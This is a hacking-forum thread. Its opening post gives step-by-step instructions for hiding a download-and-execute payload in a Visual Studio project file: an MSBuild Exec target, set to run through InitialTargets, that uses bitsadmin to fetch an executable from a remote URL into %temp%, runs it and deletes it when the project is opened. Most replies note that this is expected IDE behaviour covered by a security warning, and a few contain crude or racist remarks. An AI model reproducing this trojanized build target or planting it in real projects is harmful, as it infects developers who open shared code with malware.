+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] Visual Studio 0day Exploit [Spread Through Visual Studio] [FUD] (/showthread.php?tid=5491771)
Pages: Pages
1
2
Visual Studio 0day Exploit [Spread Through Visual Studio] [FUD] - Furz - Dec 12, 2016
Step 1: Create a new project in visual studio
Step 2: Find the .vbproj/.csproj file and edit it
Step 3: On the second line, it should have something similar to this
PHP Code
<?php
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
Edit this like to incluide
PHP Code
<?php
InitialTargets="Build"
The name can be whatever you want, I just thought "build" would be inconspicuous
The final product will look like:
PHP Code
<?php
<Project ToolsVersion="14.0" InitialTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
Step 4:
Add this to the end of the file, but before the closing "</project>" tag
PHP Code
<?php
<Target Name="Buislfd">
<Exec Command="bitsadmin.exe /transfer NAME http://directdownload.to/your.exe %temp%\1.exe" >
<Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
</Exec>
<Exec Command="%temp%\1.exe" >
<Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
</Exec>
<Exec Command="del %temp%\1.exe" >
<Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
</Exec>
<Message Importance="high" Text="$(ErrorCode)" />
</Target>
And save the file
Now, whenever someone runs opens your project in Visual Studio, it will download and exec your file
Proof (Click to View)
![[Image: sx8YZix.gif]](https://i.imgur.com/sx8YZix.gif)
* - Owl - Dec 12, 2016
This is why you get that warning when opening foreign projects, you can put this to work on intellisense and other build ops too.
* - SubGenius - Dec 12, 2016
Fuck, nothing is safe anymore.
* - Trappy - Dec 12, 2016
Whoa posting here to look back when I'm home.
* - _dude719 - Dec 12, 2016
Lol this isn't an "exploit", this is expected, just don't be a retard and grant projects access without checking them first. This is why MS added a security check before you open each project in a solution.
* - Ronan. - Dec 12, 2016
This isn't a 0day, it's the reason there is a warning given before projects are opened.
* - SIM-1847363 - Dec 12, 2016
Well, I feel I am safer than a white guy walking down downtown Chicago at night.
Next thing we will see is a guy trying to sell this as an ebook on the marketplace for $120(Please don't do this. If you do ima call out your shitting sale thread.)
* - ＪＵＳＴＩＮ - Dec 12, 2016
This isn't really an exploit, it does look like it's intended to function this way if you configure the project file as such. As the others have said, there's a reason warnings are given before opening projects.
Either way, I didn't know about it and it seems pretty cool, so +1 rep for you.
* - Champagnepapii - Dec 12, 2016
This has been around for atleast 2 or 3 weeks (thats the first I saw it).
* - mrkoolaid - Dec 12, 2016
yes, this is functionality of the IDE :)
although new uses to vis studio would probably be susceptible to this.
* - #Kat - Dec 12, 2016
eh... just saw did a local patch. solved done reported
* - caiveman - Dec 13, 2016
What in the fuck? Never opening src in my life again
* - DopplerAF - Dec 13, 2016
(Dec 13, 2016 03:33 AM)caiveman Wrote: What in the fuck? Never opening src in my life again
Why so scared ? You can always check the source for any malicious intend before opening it.
At least you are aware of it now.
* - Zeth0s - Dec 13, 2016
Thank you for sharing this!
* - video_error - Dec 14, 2016
Heh. I don't even use Visual Studio. I use SharpDevelop as my preferred IDE. Less of a ram hog and performance killer and gives me only what I need in an IDE. Hate Visual Studio for its out of the box clunkiness and awkwardness. Personal opnion. Not sure if this would work for SharpDevelop.